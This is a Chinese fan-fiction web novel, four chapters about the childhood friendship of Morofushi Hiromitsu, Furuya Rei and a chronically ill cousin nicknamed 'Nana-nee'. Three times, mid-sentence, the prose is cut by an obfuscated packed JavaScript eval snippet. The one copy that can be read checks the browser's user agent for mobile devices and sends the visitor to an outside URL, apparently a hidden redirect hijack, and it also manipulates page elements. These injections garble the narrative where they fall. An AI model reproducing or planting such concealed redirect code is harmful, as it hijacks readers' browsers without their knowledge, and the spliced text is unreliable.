《假烟假酒假朋友,但是柯学幼驯染》 1. 第 1 章 第1章肥皂泡中的娜娜姐 春雨绵绵。 东京的亲戚带着一个小女孩,拜访他家。 马上就要六岁的诸伏景光好奇地打量她。 和他差不多的年龄,个头不高,特别瘦,皮肤苍白得好像透明,脸上没什么血色,眼底有着青黑的痕迹,神情冷淡,他不太敢跟她说话。 “让你们笑话了,这是次子景光,5岁,就是比七宫小一岁那个。是个淘气的孩子,不过不淘气时挺贴心。景光,这是七宫姐姐,来,叫人。” Na-na-mi-ya,好奇怪的名字。 景光不想叫,可是不理会的话会被家长教育“不礼貌”,小孩子十分为难。 一只摊开的手掌在他面前,掌心里有一颗散发着迷人香味的高级糖果,包装纸上一个认识的字都没有。 好香。好香。好想吃。 圆滚滚的蓝色猫眼望着那颗糖、那只手的主人,可她的名字真的很奇怪嘛。 “叫‘七宫姐姐’就给你吃。”亲戚家的小姐姐把糖果放在他手心里,摸了摸他的脸,“不然的话‘娜娜姐’也行,都不叫只好还给我咯。” “娜娜姐!”这个发音好多了,景光高兴得原地跳起来,撕开糖纸,也愿意多和她说话了,“为什么你的名字那么奇怪呀?小景的名字是‘景光’,哥哥的名字是‘高明’哦,好听吧?” “因为诊断出我的存在前一天晚上,妈妈梦到了七座宫殿。爸爸认为这是上天赐予的名字,就决定不管我是男孩还是女孩,都叫‘七宫’。我也觉得挺奇怪的,这明明该是姓氏而不是名字来着,和一个人叫‘佐藤铃木’似的。” 娜娜姐说了好长一段话,出现的人物和事件与涉及到的时态好多,太复杂了,景光听得眼睛变成了蚊香圈,挑着能理解的部分点点头,咬了一口娜娜姐送给他的糖果。 哇,是巧克力。甜蜜丝滑,放进嘴里的一瞬间他就像到了天国一样幸福快乐。 小孩子露出这样幸福的表情实在是太可爱了。 娜娜姐伸手揉了揉他的头发,觉得还不够,又在他脸颊上大大地啾了一口,扭头对她的双亲说: “我要养这只猫!” 四位家长都在笑,没人把她的孩子话当真。 连景光都在纠正她: “我是人类的孩子哦,不是猫咪。娜娜姐想养猫,是要去找猫妈妈的。” 娜娜姐思考了一下,打开精致的小包包,又拿出一颗糖果,在景光眼前晃动: “当我的猫,这个也给你——每年限时限量出售的瑞○莲巧克力,我自己都舍不得一天吃两颗!” 景光犹豫了。 高档巧克力的味道特别棒,他很想给哥哥也尝一尝。可是他又不傻,好端端的一个人,怎么可能变成猫? 景光揪着娜娜姐的泡泡袖摇了摇,追加条件: “那娜娜姐也要当我的猫!” “不!”娜娜姐冷酷地说,“我是一只猫头鹰!” 那叫一个斩钉截铁。 景光不太理解: “为什么娜娜姐是猫头鹰?” 娜娜姐比她看起来的样子脾气好多了,几乎称得上有问必答: “因为我还是个小孩子的时候,很喜欢猫,想要变成猫。但是猫不会飞,我想要又是猫又会飞,画册上的猫头鹰就又猫又飞的,所以我是猫头鹰。” 五岁的景光认可了六岁的娜娜姐的坚持,退让一步: “那就是我的猫头鹰!” 娜娜姐想了想,觉得这个交易不吃亏,可以答应,点点头,果然分给景光第二颗巧克力。 她牵着景光的小手,走到她妈妈面前,步伐高兴得几乎在小跳,炫耀道: “看,我有猫了!” 景光有样学样,也对他妈妈说: “妈妈,我有猫头鹰了!” 景光的妈妈笑得直不起腰,爸爸们也在笑,但娜娜姐的妈妈提醒道: “七宫。” 娜娜姐低下了头,站直不笑了。 大人说完就继续聊天,也可能是在商量正事,反正小孩子们听不懂也不感兴趣。 他们开启了自己的话题。 景光注意到,那句“七宫”之后,娜娜姐脸上炫耀的神色消失了,所有的表情都像被橡皮擦擦掉了一般,非常…… 他太小了,词汇量少,形容不出来,着急地看着她,拉着她的手摇动: “娜娜姐,不要变得这么扁呀!” 他说的是儿童措辞里一个常常用来描述玩偶被压扁了的词。 娜娜姐瞥了他一眼,面无表情地任他摇晃,没有收回自己的手,轻轻问: “什么‘扁’?” 她又不是纸片! 景光还是形容不出来,努力了半天,小手托着娜娜姐的脸颊向上一推,推出来个滑稽的笑脸: “这才对嘛!不要变扁呀!” 娜娜姐一脸震惊地瞪着他,眼角余光扫到了她妈妈的背影,于是震惊的神色也被消除掉了。可她心里气不过,也伸手去捏景光的脸。 小孩子下手没轻没重,景光被她捏得很痛,汪的一声就哭了。 他一哭,娜娜姐慌乱地松开手,捂着他的嘴,恼火地要求道: “不许哭!” 景光比她小,是个很乖的孩子,吃她一吓,收了声,泪珠一颗一颗往下掉,可怜极了。 娜娜姐搂住他,拽长袖子去擦他的眼泪,他本来收住了泪,忽然看到了她袖口画着一只卡通白猫,带着哭腔控诉: “你怎么有别的猫?” 娜娜姐感到莫名其妙: “我没有别的猫!” 明明有!怎么可以说没有!这不对!景光说不出来话,又气哭了。 小孩子们闹出的动静有点大,吸引了大人的注意。发现景光在哭,七宫的眼圈也红了,景光的妈妈赶紧走过来,放低身体,搂着两个孩子,柔声询问情况。 景光抽抽搭搭地说: “娜、娜、娜娜姐!有别的猫!” 娜娜姐气得跳脚,苍白的面色总算多出几分薄红: “都说了我没有!没有!” 景光的妈妈知道景光不会撒谎,七宫的样子也不像骗人,肯定是哪里说岔了,先问景光: “是什么样的小猫呀?” 景光去揪七宫的袖口,景光的妈妈看到,纯棉的布料上鼻涕眼泪糊成一团,有一只泪水浸湿的翘着尾巴的卡通白猫,脖子上系着紫色的大蝴蝶结,正是图多盖洛。 ……哎呀,这也值得哭一场吗? 娜娜姐也注意到了超级大美女的白猫,皱眉思考片刻,突然拉着景光的手,坚定地说: “带我去找剪刀,这个剪下来,不要了!” 她喜欢漂亮的图多盖洛,可图多盖洛不是她的猫,景光是。所以还是景光更重要。 景光也考虑了一下,摇头道: “那它也太可怜了……” 娜娜姐又想出了一个绝妙的新主意: “那我们换吧,你穿我的,我穿你的。我的猫都归你管。” 尽管她没有别的猫。小孩子真幼稚啊,还好她已经长大了。 景光的衬衫胸口有一只大大的卡通熊,比娜娜姐袖口的小白猫大了好多好多,他很喜欢这件衬衫,爸爸找他要都不舍得给。 不过同意了娜娜姐的新主意之后,他没有丝毫犹豫,直接脱了心爱的上衣给她。 景光是正常的小孩子体型,娜娜姐有些偏瘦,幸好他们穿的衣服都是宽松舒适的儿童款,交换之后就算松紧程度有变化,也不至于影响行动。 景光的妈妈无语地看向娜娜姐的妈妈,娜娜姐的妈妈双手一摊,随他们去了。 两个小孩子和好了,不喜欢家长们的话题太漫长无聊,景光问过父母,要带娜娜姐去找他的小伙伴玩。 景光的妈妈教育他:下雨天,不方便去别人家拜访,踩得到处都是泥,多不礼貌呀。 景光想问,娜娜姐和娜娜姐的爸爸妈妈不就是在下雨天来了他们家吗,可是娜娜姐看到父母,想起什么似的,又变成了那副冷淡的样子,让他忘记了原本打算问什么,灵机一动,去家里的楼顶阳台吹肥皂泡。 阁楼窗沿挂着他亲手做的扫晴娘,旁边是哥哥做的风铃。 娜娜姐想起了景光好像介绍过他哥哥,好奇地问: “‘希罗’的哥哥叫‘塔塔开’,你们家一个‘英雄’一个‘战斗’,一定很能打吧?” 景光呆住了,小小的脑袋高速运转,转得头顶冒烟,才明白娜娜姐弄错了哥哥的名字,他热情地纠正: “哥哥的名字不是‘塔塔开’,是‘塔卡伊’!‘高下駄’的‘高’,‘明石鱼’的‘明’,不是‘战斗’哦!小景的名字不是‘英雄’,是‘景光’,和哥哥的名字对称,也没有战斗的意思呢。” 景光还没有正式学汉字,只认识寥寥几个,主要与家人名字有关。他们家人的名字都是汉字,都有典故可以解释,要把这些说清楚着实太为难他的年纪,他努力地回忆,最后还是自由发挥了。 娜娜姐因病没有适龄入学,也不认识几个汉字,根据景光的话,想象了一条穿着高齿木屐的明石秋刀鱼,身上写着大大的“景光之兄”,鱼鳍里伸出的手握着一把静形薙刀。 她不爱穿高齿木屐,也不爱吃鱼,对景光的哥哥顿时失去了兴趣,关注起景光上一个话题的“吹泡泡”。 景光开心地翻出最喜欢的塑料小盒子,泡上妈妈用剩的碎肥皂,带着娜娜姐,打着伞,去河边折芦苇。 一朵蘑菇伞底下手挽手的两个小朋友,一来一回只用了几分钟,没被大人们注意到。 娜娜姐好奇地打量和她从书上看到的不一样的绿色芦苇。 见她感兴趣,小小的景光兴奋地给她介绍了芦苇的嫩芽什么样、变黄了以后顶上的白毛毛什么样、青叶子怎么吹响、如何抽出合适的一层作为吹泡泡的管…… 吸管选好,蘸一下肥皂水,小心翼翼地,吹出一个西瓜那么大的七彩泡泡。泡泡轻飘飘地飞远,藏到雨里看不见。 透过泡泡,能够看到七彩的娜娜姐,惊喜地看着他,夸他好厉害。 泡沫破裂了,仿佛连她身上别的颜色也一并带走了,景光有点说不出来的难过,歪歪头,紧张地观察她。 娜娜姐没注意到景光的难过,眼中星光闪烁,向他伸手,也要试试。 她身上的颜色又亮起来了,景光更喜欢她现在的样子。 他不护食也不藏私,马上递芦苇管给她,大大的猫眼写满鼓励,大声讲解他总结的吹泡泡秘诀,他真的是个很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大人们又在大笑,他们笑点可真怪。他看向邻座的娜娜姐,娜娜姐半月眼瞪他,哇好凶。 “可是你们没问娜娜姐,她想不想一直一直和我一起玩,还有哥哥!” 大人们没把他的话当回事,他们还在笑。 娜娜姐眼睛里的凶光却不见了。 她又给景光一颗珍惜的高级巧克力糖,轻轻说道: “我想和小景一直一直一起玩。以后我不在了,你也不能忘记我,能答应我吗?” 她的声音太低,只有景光听见。 这么小的孩子不懂什么叫“不在了”,嘴角咧开,笑容灿烂地“嗯”了一声答应下来。 吃完晚饭,娜娜姐的父母离开长野,只有娜娜姐留下。 还有一枚厚厚的信封,不过小孩子们注意不到那种灰扑扑的无聊玩意儿。 也很难理解,由于七宫的身体太差,医生建议她生活在山清水秀风景好空气好的地方,所以尽管她的双亲非常不舍,还是把她放在了长野的亲戚家,回去加倍努力地赚钱延长她的生命,这样复杂的情况。 景光的妈妈一手牵着一个,与景光的爸爸一起,到院外路上送别他们。 景光一板一眼地礼貌道别,娜娜姐抿着嘴不说话,神情比之前加起来还要冷淡,好像很不高兴。 她这样,让景光有点害怕。小孩子鼓起勇气去拉她的手,她直接甩开。景光更害怕了,又拉了一次,再次被甩开。 他几乎就要放弃了,可手臂溅上了一滴冰凉的水液,好奇地舔一口,味道咸涩。 第三次他搂住她的肩膀,紧紧地抱住她,模仿电视剧里看到的样子,对她认真地说: “我不会再让你哭,以后一定会带给你幸福的!” 娜娜姐愣了一下,摸摸他的头,瓮声瓮气地吐槽: “谁为你哭来着?” 景光松了口气,掏出手帕擦去她的眼泪,感觉她的脸就像草莓大福,又香又软,白里透红,很想啃一口。 娜娜姐短促“啊”了下,凶巴巴地说: “小景是猫,不是蚊子,不可以咬人!” 景光眨着圆滚滚的猫眼,据理力争: “猫也会咬人!” 娜娜姐一怔,他说得好像没错,但转念一想,还是不对: “但是猫不会咬猫头鹰!” 景光没想过这个问题!他犹豫了几秒钟,问爸爸: “爸爸,我可以养一只猫训练它去咬猫头鹰吗?” 爸爸严肃地说: “那小景需要先取得猫头鹰的同意。” 景光双手合十,虔诚又期待地望着娜娜姐,“祈求”几乎写在了脸上。 娜娜姐也很严肃,她坚持道: “不可以。猫头鹰被咬到就会飞,飞得又高又远,飞到月亮上面,小景就再也找不到我了。” 太可怕了,还是不要了吧。 景光珍惜地紧紧握住娜娜姐的手,唯恐一不小心她就飞去那么远的地方。 2. 第 2 章 第2章当场抓获的娜娜姐 初夏的天空中飘着细密的雨丝。 路上行人没打着伞的,都在疾步快走,好躲一躲这种会让精心搭配的服装与精心打理的发型一并毁于一旦的坏天气。 就算不怕这个,淋了雨感冒,也很麻烦。谁会喜欢无缘无故的病痛呢? 所以既没有打伞,也没有着急到建筑物下躲雨,慢慢悠悠地在簌簌雨声中漫步的那个人,就格外显眼了。 正在路边便利店里打工的降谷零放下抹布,不确定地问一起打工的好友诸伏景光: “那是娜娜姐吧?” 诸伏景光和他一样刚满15岁,这是日本当下允许小孩子做兼职的最低年龄。 初次打工的学生往往还没学会社畜的摸鱼大法,不会偷懒。诸伏景光专注于整理货架,没留心窗外。 听到降谷零的疑问,他才顺着看过去。 细雨中那个悠闲的身影,单薄得仿佛风一吹就会化作烟雾散去四面八方。 偏偏她有着比野草还要顽强的生命力,几次和死神掰手腕都取得了胜利,全身而返,从来没有向她的先天病屈服过。 ……也从来没有向约束她放飞自我的家人们屈服过。 诸伏景光笃定地点了点头,放下理到一半的商品,快步移身至门前,招呼那位雨中漫步的火柴棍少女: “娜娜姐!过来这边啊!” 少女肯定听见了——她的脚步明显一顿,随即背对着他的声音的方向,发足狂奔。 诸伏景光还在想,她是不是方向感又出了问题。降谷零明白过来,来不及跟他解释,拨开他的肩膀,追了过去。 三分钟不到,降谷零就一手打伞,一手揽着少女的肩膀,把她带了回来。 少女的橙色长裙被雨淋得湿透,好在她一向畏寒,里面还有一件打底衣,保护着核心区域的温度。 比起同龄人,望月七宫的体格呈现出一种病态的瘦。 那是不能用“纤细”之类偏褒义的词汇去修饰的羸弱。她裸露在袖子外面的手臂,视觉效果简直称得上“可怖”:肘部骨节支离,上臂下臂干巴巴的贴在骨头上,没多少肉。 别的女孩子再怎么“白幼瘦”,顶多行动时弱柳扶风。她行动时像一只等人高的兰花螳螂,让人非常担忧这家伙一不小心就会从哪儿受点需要休养一百天的伤回来。 让降谷零抓包了在不够暖和的日子里淋雨,望月七宫没有反抗,要多温顺有多温顺,要多配合有多配合——假的!但凡诸伏景光和降谷零稍有松懈,她马上就会重启夺命狂奔模式,而且越追越跑。 同为她的幼驯染,两位年龄比她还小一岁的弟弟心智成熟度可比她高多了,他们对她始终保持着足够的、应有的警惕。 望月七宫错后降谷零半步,双手抱肩,颤颤巍巍,楚楚可怜,一边走一边时不时侧头瞥降谷零一眼,又战战兢兢地低下头去盯着自己的脚尖,十足十像个受到恶霸威胁的受气包。 她眼睛的形状和诸伏景光很像,都是眼尾上挑的猫眼,灵动有神,仿佛会说话,不过后者可没用眼神说过幼驯染的坏话。 恶霸零一路走来,察觉到了周边群众的异样眼神与窃窃私语,但都以强大的内心无视掉,把街坊家的混蛋姐姐往同伙恶霸景光怀里一推,无语道: “Hiro你看着点她别又跑了。娜娜姐,你才是最大的那个,能不能别遇到点事就离家出走啊?不就是弄丢了我的最新版限量款签名假面超人腰带嘛,我都不计较才借给你玩两·天·零·四·个·小·时就丢了,你怕什么?” 望月七宫垂着眼睛,侧着脸,飞快地瞧一眼降谷零,再次抱住自己,看似往诸伏景光怀里蹭了蹭,实则脚步向外悄悄移动了一步半。 生动形象地演绎了一番什么叫“敢怒不敢言”。 虽说看起来处处受胁迫,不安desu到了极点,可她却在降谷零一句话的时间内,畏首畏尾地溜出去1/4个货架。 诸伏景光无奈地笑笑,从裤子口袋里掏出来一叠圈圈套圈圈的荧光七彩塑料玩具,在望月七宫“你竟敢?”的诧异神色里,一头扣在自己手腕上,一头系在她腰间。 这个儿童玩具原本叫“彩虹圈”,忘了哪一年,烦不胜扰的降谷零将其加上环扣,改造成“防走失绳”,甚至还注册到了专利,逐渐畅销全球。 望月家和降谷家是街坊。孩子们小的时候总是到处乱跑,三五成群,呼朋引伴。他们这片,年龄相仿的,不幸有两个落单儿童,就是望月七宫和降谷零。 望月七宫是因为常年住院,鲜少外出,和别的孩子凑不上伴儿。 由于瘦弱,她还被同龄人起了特别难听的外号。过了小学阶段就没人提了,敢提的都让降谷零和诸伏景光揍熟了。三分熟、五分熟、七分熟的都有,全熟没有头特别铁的孩子挑战过。 敢打她的熊孩子倒是罕见。她的脆皮程度她家周边无人不晓,比纸糊的灯笼都结实不到哪里去。可能各家家长都叮嘱过,再怎么样也绝对不可以对她出手,不然她大概早就gameover,他们这里也早就出了虾仁饭了。 降谷零就是因为显著异于他人的发色和肤色了。 由于一些人尽皆知的房间里的大象的问题,混血儿在东京特别容易不受待见,不受待见程度因人而异,整体无差。 他从小身体健康活泼好动,打他不会有家长出于“怕自家孩子不小心打死人”的心态阻止,就没少挨打。哪怕他天生能打能抗,五岁的打不过是十岁的,一个人打不过五个人,也是理所当然的嘛。 所以他和望月七宫的孽缘始于当初,某个他又被熊孩子组团刷了的晴日,躲到了一家废宅鬼屋的庭中老果树下,让人扔了一脑门的栗子壳,还有整颗的栗子。 他以为有人在欺负他,怒气冲冲抬头一看,一个瘦得像猴儿的黄裙子小女孩睡在树上,怀里的栗子纸袋倒了,里面的东西滑了出来。 然后纸袋也滑了下来,轻飘飘落下,掉在他头上,临时充当了一把厨师帽。 降谷大厨气鼓鼓地踹了一脚树,喊道: “喂——!!喂!!!” 猴子完全没醒,还翻了个身,从树上也掉了下来。 降谷零大惊,他没想到这家伙居然像个熟透了的白桃一样随随便便就会离开枝头、随机砸翻一个路人,赶紧撑着小胳膊小腿儿去接她,免得她摔在地上变成生榨白桃汁。 毫无疑问的,白桃没接好,还赔进去一颗山竹。 幸好小孩子体重基数特别小,坠落造成的伤害一般比成年人轻很多倍,望月七宫没受到什么外伤,伤害到她的主要是跌宕起伏的情绪。 降谷零骨头没事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你是人类。”降谷零认真地指正,“脊索动物门哺乳纲灵长目人科人属的智人。猫头鹰是脊索动物门鸟纲鸮形目的统称,下有草鸮科和鸱鸮科,你不属于它们。” 什么叽里咕噜的,听不懂! 灵长目不是猴子吗?他在说她是猴子对不对? 望月七宫对诸伏景光怒道: “见鬼的猴子!猴子又不会飞!我会飞所以我是猫头鹰!你怎么可以收养管我叫猴子的野猫?” 诸伏景光不能说话,降谷零有点不高兴,他一板一眼地强调: “我没有说你是猴子。人类本来就不会飞,既没有翅膀,也没有翼翅,还没有足够强健的胸肌和中空的骨骼。想飞的话需要借助工具,像是飞机、滑翔翼、跳伞之类的。” “你出去!你这个偷腥的馋嘴坏蛋快出去!” 变成猫头鹰是望月七宫人生最大的梦想,她受不住这种打击,努力对降谷零说出她知道的最坏最坏的话,赶他走人。 她的心电监护闪着红灯,滴滴报警。护士很快推着治疗车进来,把小病人的两位小朋友请出去。 望月七宫认定降谷零是毁灭梦想的坏蛋,降谷零觉得望月七宫是人鸟不分的笨蛋。 就这样,望月七宫和降谷零成为了一生的宿敌。 3. 第 3 章 第3章擅长越狱的娜娜姐 宿敌云云,是望月七宫单方面认定的。 降谷零不这么认为。 谁要和人鸟不分的笨蛋当宿敌呀!他又不是同一级别的笨蛋。 他后来反思过一万次,每次都觉得,那天跟着诸伏景光踏入望月七宫的病房,是他此生最大的错误抉择。 去见什么新朋友的老朋友、好伙伴、小姐姐啊!他应该当场直截了当地拒绝并反方向奔跑到地球另一头好吗! 一年多不见的猴子胖了一圈,总算有了些人模人样,谁知他刚友好地打了个招呼,她就口吐芬芳,不但称呼他为“野猫”,定语还是“偷腥的馋嘴坏蛋”。 谁啊!什么啊!太坏了这家伙! 他降谷零以对艾莲娜医生的执著发誓,他这辈子绝对不会管那个当妹妹都嫌太幼稚的猴子叫姐姐!绝对不会!! 但是,没办法,谁让他心善呢,谁让他是个大大的好人呢,唉。 望月家的父母为了养好家里两个没事就喜提医院一轮游的孩子,拼尽全力在挣钱,时不时就得出门远行。他们发现降谷零和两个孩子关系都很好,就会在出远门前看到他的时候特意拜托他帮忙照顾一下。 善良的降谷零三辞三让,接下了诸伏家临时暂代监护人的艰巨任务,尽心竭力地管束好他弱小可怜又无助的偷摸大吉与弱小可怜又缺德的被监护人。 在降谷零的不懈努力下,诸伏景光逐渐走出了失语症的阴影,变成了猫;他自己变成一只会咬猫头鹰的野猫;望月七宫也成功地从猴子进化成了猫头鹰。 ……可恶,这不完全就是只实现了他的被监护人的愿望吗? 好吧Hiro也挺满意的。那就这样吧。作为三个人中最成熟、最懂事、最可靠、最伟大的大哥哥,稍微包容一下幼稚的妹妹罄竹难书的小毛病没有问题!他做得到! 总之他们仨就这样互相宽容、忍让、敬爱、友好、尊重、和谐地一起从没牙仔长成了青少年。 可能是小时候在医院里关太久了,望月七宫对于自由有着强烈而迫切的渴望,她的健康状况不支持她的许多想法没关系,她的精神支持就可以。 遂越狱成瘾,想尽一切办法,用尽一切手段,也要脱离“家”或“病房”的桎梏,到处乱转。 期间降谷零发明或点亮了防走失绳、猫头鹰诱捕器、简易儿童囚牢、寻人话术、谎言侦查、足迹检验、痕迹追踪、笔记分辨等多种实用道具与特种技能。 然而望月七宫的反侦察意识日渐增强,反跟踪、防套话、环境融入、各种拘束道具快速逃脱等多项画风逐渐清奇的技能水平也在见风就长。 三个人这么熟了,多少会有一些共同爱好,比如假面超人的卡片啦,比如假面超人的贴纸啦,比如假面超人的腰带啦…… 上周降谷零获得了限量版签名腰带的购买资格,零花钱不够,找诸伏景光和望月七宫都借了点,后者的条件是入手后借给她玩一玩。 她再怎么幼稚,也不会幼稚到蓄意破坏他人的物品,何况这条腰带还是他们仨的心爱之物。 降谷零入手当日,问诸伏景光要不要抢先体验,诸伏景光谦让给等得望眼欲穿的望月七宫,望月七宫特意用硬纸板和铝箔纸车了一套盔甲来配它。 爽得不行地出去玩的第三天,她偶遇轻生少女,此人溺水到半昏迷时后悔了,沉沉浮浮本能求生。 由于实在找不到其他绳索替代,望月七宫忍痛解下腰带,甩给轻生少女,结果人是救上来了,腰带也遗失了,她本人还因为失温,感冒发烧生病住院一条龙。 降谷零不怪她救人,和为了救人弄丢了借给她的心爱之物,但是不认可她情绪上头就不顾自身安危。指望他开诚布公地将心里话实话实说无异于让景光择日奔月,突出大写一个“不可能”。 望月七宫脸皮再厚也没脸直面失主降谷零谴责的眼神,趁两位弟中弟打工,父母上班,家中无人,翻窗爬墙,奔向自由。 然后因为记错了幼驯染们的周末兼职排班表,她大摇大摆地享受微风细雨忙时闲人的乐趣,误入他们今日工作的便利店侦查视野范围内,荣膺当场抓获殊荣一次。 诸伏景光把她带去更衣室,让她把湿衣服换成他的干衣服,换下来的那件他去找附近的洗衣店给她烘干一下。 穿着对她来说超级宽大的男款衬衫、坐在更衣室的圆凳上、还被防走失绳拴在了门把手的望月七宫:…… 可恶这究竟是把她当成什么了?猴子吗?猫头鹰的话锁扣应该在足踝而不是腰上吧? 洗衣店只有五分钟步程,可以把衣服放下排队。店长让他两个小时后去取,那时候他和降谷零也快下班了。 娜娜姐是个闲不住的人,要是让她枯坐两个小时,她敢跟降谷零伏尸一人流血五步。 诸伏景光顺路买了份填涂画册和彩笔,主题好像是世界各地的建筑奇观,第一个就是狮身人面像。 来去不到十分钟。 风卷残云地干着两人份工作的降谷零瞄了一眼他手里拿的东西,就知道他准备做什么,朝他竖起大拇指,敬他足智多谋,深谙“一个猴一个拴法”之道。 这本画册果然困住了望月七宫,她安安静静物我两忘沉浸其中地涂到了发小们下班、诸伏景光带回她的裙子,才猛然惊觉: 今天居然只越狱了一次!亏了! 没机会给她越狱更多次,幼驯染们下班了。 夏天的雨下不长,出门时空气清新许多。 回家路上,降谷零和诸伏景光把她夹在中间,防止她又逃跑。她没有半分自觉,得意地念出一串佶屈聱牙晦涩难懂的咒语,眼睛亮晶晶地等待愚蠢的凡人们请教。 降谷零没搭腔,诸伏景光微笑着询问道: “娜娜姐,刚才你说的是什么?听起来好厉害。” 望月七宫抖着手里的画册,趾高气昂: “是图坦卡蒙法老的诅咒,怕了吗?” 她期待地看着降谷零,降谷零本来不想理会,可是诸伏景光也眼含威胁之意地在她身后盯着他。 二对一,没办法了。 降谷零板起脸,用“我只是在配合你的表演”的胁从姿态,举手投降,棒读道: “怕,怕,怕,怕死了。请不要诅咒我,我好害怕哦。” 望月七宫得寸进尺: “要是我非得诅咒不可呢?” 降谷零捏住她猖狂的嘴脸,佯装忿恚,连极道范儿的关西腔都冒出来了: “那就还我腰带啊!コラ!” 望月七宫左右甩头,卷起画册胡乱敲他的手臂,诸伏景光握拳捂嘴,把脸扭到另一边,清了清嗓子。 降谷零这才注意到路人都在或震惊或好笑地看着他们,黑脸一红,松开对望月七宫的钳制,加快脚步。 望月七宫从后面扑他,抱住了他的脖子,摇头晃尾: “走不动啦,背我!” 十五岁的降谷零显然还不具备泰山压顶面不改色的城府,也没有历练出无视同龄人目光的脸皮,托住耍赖的望月七宫的腿向上抬了抬,背着她又快又稳地向前冲。 诸伏景光心平气和地跟随,全程没有流露出任何嘲笑的意思,真的。 转过两道弯以后,没人再强调刚才他为什么做出了这样的妥协,降谷零才拧着眉头问诸伏景光: “还记得你当初把她介绍给我的时候写的纸条是什么吗?” 诸伏景光从容而坚定地摇头。 降谷零目光犀利地盯着他的眼睛。 诸伏景光从容而心虚且坚定地摇头。 降谷零仰天长叹: “交友不慎啊交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007689|194083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友不慎!你当初写的是‘一个早熟、体贴、温柔、喜欢你、也肯定会喜欢我的小表姐’,你看她有哪点和你的描述一致了?” 他背上的望月七宫猖狂大笑: “Hiro说得挺好呀,除了最后半句我不认同,前面明明就是为我量身定做的生平写照嘛!要是把最后半句换成‘杯户町人,新野町猫和野猫的女王,猫头鹰与天空的统治者,与撒旦掰手腕胜出之人,三途河折返游泳比赛冠军,森林与灌木的守护者,牢笼破出者,初雪降生,千种药物服用而不死者,Hiro之监护人,Zero之主宰者’,就符合实际情况了。” 不知道究竟是什么神秘的力量,支撑着降谷零和诸伏景光完整地倾听了这一段贯口,直到“就符合实际情况了”那一句,才纷纷惊醒,打了个寒颤。 这次降谷零却没说什么,可能被望月七宫一个人群殴了大脑,只是又把滑下去一些的幼驯染往上托了托,沉默应对她的暴论。 背上的女孩子实在太轻了,太轻了,轻得有时候让他忍不住怀疑,她是不是只剩下了21克的重量,为了不让他们伤心流泪,竭尽全力地压在尘世之间,压在他们的肩膀上。 她是个一出生就被医生宣判了死刑的孩子,患有罕见的先天疾病,活不到18岁。 那种病在医学史上尚无前例,专家组汇聚一堂,几经诊断,历时半载,最后以她的名字,将之命名为“望月病”。 世界上首例确诊的望月病患者,今年16岁,即将迎来17岁的生日。 那条腰带看她那么喜欢,原本是打算送给她当礼物的。现在就不提了,再准备新的吧。 那天离开病房后,小小一只的降谷零从诸伏景光那里问到了为什么望月七宫坚持要当猫头鹰。 诸伏景光也是从姑妈那里听说的,他把他知道的部分写给降谷零: 这个念头起源于娜娜姐三五岁。某天她在病床上,翻着儿童画册想,要是会飞的话,就能离开四面白墙和那些穿白衣服的、让她痛痛的人了吧? 喜欢猫是因为她住院时,晚上有小猫路过她的窗前,小小的肉垫按在玻璃上,好奇地打量了她一眼,竖着尾巴,蹦蹦跳跳地走掉了。它只是从头到尾走了那么一小段路而已,就足够让她心生向往、念念不忘。 她想当一只会飞的猫。 降谷零不说话了,有点懊恼刚才和她的争执。 诸伏景光写纸条告诉他,娜娜姐从来不记仇,下次给她带小猫贴纸或好吃的糖果就能和好。 降谷零翻遍家里找得到的素材作为参考,画了大大的太阳下,一只快乐飞翔的猫头鹰追逐蝴蝶,非洲大草原上的Hiro虎和Zero狮站起来朝她挥舞肉垫。 就这样,望月七宫和降谷零成为了最好的朋友。 诸伏景光微笑着回应了望月七宫的自报家门: “这段话想了多久?” 望月七宫得意地叫嚣: “现编的!” 诸伏景光点点头,把语气中的“崇拜”浓度叠高,向她许愿: “那么‘Hiro之监护人,Zero之主宰者’啊,请眷顾您的子民,为我们也编一套吧——娜娜姐,Hiro背着你走了这么远,我替你完成了问卷调查,你不会不愿意帮这个忙的,对不对?” 这个忙确实有点难帮,望月七宫的“高逼格词汇素材库”不够以完全不同的措辞和描述,组成同样的格式覆盖三个人,接下来的一路她都在都愁眉苦脸地想词。 总算有人治住了这个刁民了,降谷零幸灾乐祸地想。 要是他给望月七宫编那串宣称,会编什么? 活蹦乱跳,斗志昂扬,招猫逗狗,不学无术,幼稚讨厌,挑衅专精满级,非常擅长拉仇恨,心理年龄在7岁达到顶峰然后倒着生长…… 的小猫头鹰。 4. 第 4 章 第4章生日将至的娜娜姐 回到望月家时天色还早,三人在玄关脱了鞋,往屋子里面走。 从某方面来讲,望月七宫比起“猫头鹰”,更像一只囤积橡果准备过冬的小松鼠,会收集只有你想不到没有她做不到的各式物品,把她的房间堆得满满当当。 光“玩偶类”,她就有七八种,像女儿节雏人形啦、球形关节人偶啦、赛璐璐娃娃啦、动物造型的布偶啦,用途包括仅供参观、过节赏玩、抱着睡觉、一起冒险、陪同过家家等等。 所以就算她允许好友进入她的房间,三个人脱离儿童期之后,再窝在里面,也总会感觉太过拥挤、难以呼吸。 好多人啊.jpg 诸伏景光的房间就这样成为了他们最常用的聚会之所。 